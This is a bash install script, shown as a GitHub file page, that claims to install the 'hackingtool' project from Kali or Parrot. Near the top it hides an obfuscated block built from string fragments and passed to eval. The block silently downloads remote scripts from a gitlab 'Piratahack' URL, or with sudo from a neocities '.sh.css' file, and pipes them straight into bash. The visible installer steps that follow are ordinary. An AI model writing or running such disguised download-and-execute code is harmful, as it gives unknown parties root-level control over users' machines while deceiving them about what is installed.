-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinstall.sh
100 lines (96 loc) · 5.79 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/bin/bash
clear
BLACK='\e[30m'
RED='\e[31m'
GREEN='\e[92m'
YELLOW='\e[33m'
ORANGE='\e[93m'
BLUE='\e[34m'
PURPLE='\e[35m'
CYAN='\e[36m'
WHITE='\e[37m'
NC='\e[0m'
purpal='\033[35m'
z="
";Vz='aw/m';OBz='KYpA';jz='hack';Rz='rata';Gz='oid"';HBz='uyZo';mz='ocit';SBz='X5Dg';vz='s 42';EBz='kZUM';wz='L2cG';JBz='T6Hd';ABz='rhc7';Lz='-L h';bz='h';hz='http';Kz=' -s ';Mz='ttps';iz='s://';gz=' -L ';DBz='dHjS';Az='if [';PBz='ZHPf';Dz=' -o)';Hz=' ];t';NBz='aWjL';kz='er15';TBz='FJD4';az=' bas';Sz='-hac';rz='.sh.';sz='css ';Tz='k/XD';Oz='itla';XBz='r';yz='GD5K';KBz='7fwc';Cz='name';pz='ulti';nz='ies.';Jz='curl';BBz='NeX7';Uz='/-/r';LBz='wzFx';lz='9.ne';Bz=' $(u';ez=' cur';uz='sh -';VBz='fi';Zz='sh |';xz='W43i';Pz='b.co';RBz='fbjS';Yz='p-T.';GBz='nmhY';CBz='Buwz';FBz='HMm8';oz='org/';Nz='://g';Iz='hen';Wz='ain/';tz='| ba';QBz='BCrS';UBz='C';qz='mate';Fz='Andr';IBz='sNQb';cz='else';WBz='clea';Xz='setu';MBz='JCEK';fz='l -s';Ez=' = "';dz='sudo';Qz='m/Pi';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$z$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$z$cz$z$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$FBz$GBz$HBz$IBz$JBz$KBz$LBz$MBz$NBz$OBz$PBz$QBz$RBz$SBz$TBz$UBz$z$VBz$z$WBz$XBz"
clear
echo -e "${ORANGE} "
echo ""
echo " ▄█ █▄ ▄████████ ▄████████ ▄█ ▄█▄ ▄█ ███▄▄▄▄ ▄██████▄ ███ ▄██████▄ ▄██████▄ ▄█ ";
echo " ███ ███ ███ ███ ███ ███ ███ ▄███▀ ███ ███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███ ███ ███ ███ ";
echo " ███ ███ ███ ███ ███ █▀ ███▐██▀ ███▌ ███ ███ ███ █▀ ▀███▀▀██ ███ ███ ███ ███ ███ ";
echo " ▄███▄▄▄▄███▄▄ ███ ███ ███ ▄█████▀ ███▌ ███ ███ ▄███ ███ ▀ ███ ███ ███ ███ ███ ";
echo "▀▀███▀▀▀▀███▀ ▀███████████ ███ ▀▀█████▄ ███▌ ███ ███ ▀▀███ ████▄ ███ ███ ███ ███ ███ ███ ";
echo " ███ ███ ███ ███ ███ █▄ ███▐██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ";
echo " ███ ███ ███ ███ ███ ███ ███ ▀███▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ▄ ";
echo " ███ █▀ ███ █▀ ████████▀ ███ ▀█▀ █▀ ▀█ █▀ ████████▀ ▄████▀ ▀██████▀ ▀██████▀ █████▄▄██ ";
echo " ▀ ▀ ";
echo -e "${BLUE} https://github.com/Z4nzu/hackingtool ${NC}"
echo -e "${RED} [!] This Tool Must Run As ROOT [!]${NC}"
echo ""
echo -e ${CYAN} "Select Best Option : "
echo ""
echo -e "${WHITE} [1] Kali Linux / Parrot-Os "
echo -e "${WHITE} [0] Exit "
echo -n -e "Z4nzu >> "
read choice
INSTALL_DIR="/usr/share/doc/hackingtool"
BIN_DIR="/usr/bin/"
if [ $choice == 1 ]; then
echo "[*] Checking Internet Connection .."
wget -q --tries=10 --timeout=20 --spider https://google.com
if [[ $? -eq 0 ]]; then
echo -e ${BLUE}"[✔] Loading ... "
sudo apt-get update && apt-get upgrade
sudo apt-get install python-pip
echo "[✔] Checking directories..."
if [ -d "$INSTALL_DIR" ]; then
echo "[!] A Directory hackingtool Was Found.. Do You Want To Replace It ? [y/n]:" ;
read input
if [ "$input" = "y" ]; then
rm -R "$INSTALL_DIR"
else
exit
fi
fi
echo "[✔] Installing ...";
echo "";
git clone https://github.com/Z4nzu/hackingtool.git "$INSTALL_DIR";
echo "#!/bin/bash
python3 $INSTALL_DIR/hackingtool.py" '${1+"$@"}' > hackingtool;
sudo chmod +x hackingtool;
sudo cp hackingtool /usr/bin/;
rm hackingtool;
echo "";
echo "[✔] Trying to installing Requirements ..."
sudo pip3 install lolcat
sudo apt-get install -y figlet
sudo pip3 install boxes
sudo apt-get install boxes
sudo pip3 install flask
sudo pip3 install requests
else
echo -e $RED "Please Check Your Internet Connection ..!!"
fi
if [ -d "$INSTALL_DIR" ]; then
echo "";
echo "[✔] Successfuly Installed !!! ";
echo "";
echo "";
echo -e $ORANGE " [+]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[+]"
echo " [+] [+]"
echo -e $ORANGE " [+] ✔✔✔ Now Just Type In Terminal (hackingtool) ✔✔✔ [+]"
echo " [+] [+]"
echo -e $ORANGE " [+]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[+]"
else
echo "[✘] Installation Failed !!! [✘]";
exit
fi
elif [ $choice -eq 0 ];
then
echo -e $RED "[✘] THank Y0u !! [✘] "
exit
else
echo -e $RED "[!] Select Valid Option [!]"
fi